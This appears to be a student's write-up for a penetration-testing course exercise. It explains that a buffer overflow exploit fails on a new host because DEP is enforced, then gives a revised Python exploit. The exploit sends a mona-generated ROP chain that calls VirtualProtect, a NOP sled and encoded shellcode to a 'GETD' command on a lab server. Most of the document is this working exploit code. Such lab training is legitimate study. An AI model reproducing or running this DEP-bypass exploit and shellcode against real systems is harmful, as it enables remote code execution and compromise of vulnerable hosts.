The same target binary is running in two different environments, but your exploit produces different behaviors in these different environments. What could be the cause of this? Can you think of a way to reproduce this behavior in your own environment? (Sometimes you just have to guess at what's going on and run with your best hunch.)

See if you can reproduce the described behavior using the same server and the same exploit that you were working with in `Task 5`. Once you've been able to block your previous exploit, research possible solutions for the problem, and report back to 0xCC when you think you have a plan for fixing the exploit.

Submission:

My current theory for why the exploit is behaving in different environments is that one environment has different security settings enabled, which the current exploit does not account for.

Notable settings that could be causing the issue are:

DEP and SHEOP:

- SEHOP is designed to block exploits that use SEH overwrite techniques

-DEP (Data Execution Prevention) is designed to protect against executable code launching from places it's not supposed to; makes some areas of PC's memory as being for 'data only'

Disable Windows Real-time protection:

- When real-time protection is off, files opened or downloaded won't be scanned for threats

In short, I believe the exploit does not work after the server was moved to the new host as the new host may have security settings the exploit was not designed to bypass.

The current plan to overcome this is to further test how the server responds with the original exploit. Documenting where it no longer is able to continue, and using this as a starting point to further strengthen the exploit script(s).

Using your approved game plan, go ahead and see if you can fix the exploit. Then report back to 0xCC when you think you have something ready to send back to Gregor.
Your report to 0xCC should include an email response to Gregor in your persona, explaining the exploit's failure, and a detailed description of the changes you made to your exploit to strengthen it.

Submission:

The reason the original buffer overflow exploit was able to run on the first server was because Windows was not enforcing DEP (Data Execution Prevention). To bypass this, we need to use ROP (Return Oriented Programming) to turn off DEP - something the older exploit did not include.

The following is the updated exploit that includes the ROP chain:
[the chain was created with the Mona command '!mona rop -m *.dll -cp nonull']

```
#!/usr/bin/python
import sys, socket, struct

overflow = (

"\xbb\xab\xd3\x80\x7d\xd9\xee\xd9\x74\x24\xf4\x5f\x31"
"\xc9\xb1\x54\x83\xef\xfc\x31\x5f\x0f\x03\x5f\xa4\x31"
"\x75\x81\x52\x37\x76\x7a\xa2\x58\xfe\x9f\x93\x58\x64"
"\xeb\x83\x68\xee\xb9\x2f\x02\xa2\x29\xa4\x66\x6b\x5d"
"\x0d\xcc\x4d\x50\x8e\x7d\xad\xf3\x0c\x7c\xe2\xd3\x2d"
"\x4f\xf7\x12\x6a\xb2\xfa\x47\x23\xb8\xa9\x77\x40\xf4"
"\x71\xf3\x1a\x18\xf2\xe0\xea\x1b\xd3\xb6\x61\x42\xf3"
"\x39\xa6\xfe\xba\x21\xab\x3b\x74\xd9\x1f\xb7\x87\x0b"
"\x6e\x38\x2b\x72\x5f\xcb\x35\xb2\x67\x34\x40\xca\x94"
"\xc9\x53\x09\xe7\x15\xd1\x8a\x4f\xdd\x41\x77\x6e\x32"
"\x17\xfc\x7c\xff\x53\x5a\x60\xfe\xb0\xd0\x9c\x8b\x36"
"\x37\x15\xcf\x1c\x93\x7e\x8b\x3d\x82\xda\x7a\x41\xd4"
"\x85\x23\xe7\x9e\x2b\x37\x9a\xfc\x23\xf4\x97\xfe\xb3"
"\x92\xa0\x8d\x81\x3d\x1b\x1a\xa9\xb6\x85\xdd\xce\xec"
"\x72\x71\x31\x0f\x83\x5b\xf5\x5b\xd3\xf3\xdc\xe3\xb8"
"\x03\xe1\x31\x54\x01\x75\xb0\xa9\x6a\x1b\xac\xab\x6c"
"\x32\x71\x25\x8a\x64\xd9\x65\x03\xc4\x89\xc5\xf3\xac"
"\xc3\xc9\x2c\xcc\xeb\x03\x45\x66\x04\xfa\x3d\x1e\xbd"
```

```
"\xa7\xb6\xbf\x42\x72\xb3\xff\xc9\x77\x43\xb1\x39\xfd"
"\x57\xa5\x5b\xfd\xa7\x35\xf6\xfd\xcd\x31\x50\xa9\x79"
"\x3b\x85\x9d\x25\xc4\xe0\x9d\x22\x3a\x75\x94\x59\x0c"
"\xe3\x98\x35\x70\xe3\x18\xc6\x26\x69\x19\xae\x9e\xc9"
"\x4a\xcb\xe1\xc7\xfe\x40\x77\xe8\x56\x34\xd0\x80\x54"
"\x63\x16\x0f\xa6\x46\x25\x48\x58\x14\x0b\xf1\x31\xe6"
"\x0b\x01\xc2\x8c\x8b\x51\xaa\x5b\xa4\x5e\x1a\xa3\x6f"
"\x37\x32\x2e\xe1\xf5\xa3\x2f\x28\x5b\x7a\x2f\xde\x40"
"\x6b\xbe\x21\x77\x94\x40\x1e\xa1\xad\x36\x67\x71\x8a"
"\x49\xd2\xd4\xbb\xc3\x1c\x4a\xbb\xc1")

def create_rop_chain():


   # rop chain generated with mona.py - www.corelan.be

   rop_gadgets = [

     #[---INFO:gadgets_to_set_esi:---]
     0x76bb9b94,  # POP EAX # RETN [bcryptPrimitives.dll] ** REBASED ** ASLR
     0x625070c0,  # ptr to &VirtualProtect() [IAT warrlot.dll]
     0x745fa44a,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [KERNELBASE.dll] **
REBASED ** ASLR
     0x76b9dcf6,  # XCHG EAX,ESI # RETN [bcryptPrimitives.dll] ** REBASED ** ASLR
     #[---INFO:gadgets_to_set_ebp:---]
     0x775539e5,  # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
     0x745bc84d,  # & call esp [KERNELBASE.dll] ** REBASED ** ASLR
     #[---INFO:gadgets_to_set_ebx:---]
     0x775a6c05,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
     0xfffffdff,  # Value to negate, will become 0x00000201
     0x76d5c9c1,  # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
     0x77882999,  # XCHG EAX,EBX # RETN [ntdll.dll] ** REBASED ** ASLR
     #[---INFO:gadgets_to_set_edx:---]
     0x76d35540,  # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
     0xffffffc0,  # Value to negate, will become 0x00000040
     0x74658d90,  # NEG EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
     0x778751fa,  # XCHG EAX,EDX # RETN [ntdll.dll] ** REBASED ** ASLR
     #[---INFO:gadgets_to_set_ecx:---]
     0x77588ad3,  # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
     0x6250545b,  # &Writable location [warrlot.dll]
     #[---INFO:gadgets_to_set_edi:---]
     0x77559b2d,  # POP EDI # RETN [msvcrt.dll] ** REBASED ** ASLR
     0x76d5c9c3,  # RETN (ROP NOP) [RPCRT4.dll] ** REBASED ** ASLR
     #[---INFO:gadgets_to_set_eax:---]
```

```
    0x746514c8,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
    0x90909090,  # nop
    #[---INFO:pushad:---]
    0x7452b5d0,  # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

offset = "A" * 2007 +  rop_chain + "\x90" * 32 + overflow

try:
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      s.connect(('10.0.1.131',1234))
      s.send(('GETD ' + offset))
      s.close()

except:
      print "Error connecting to server"
      sys.exit()
```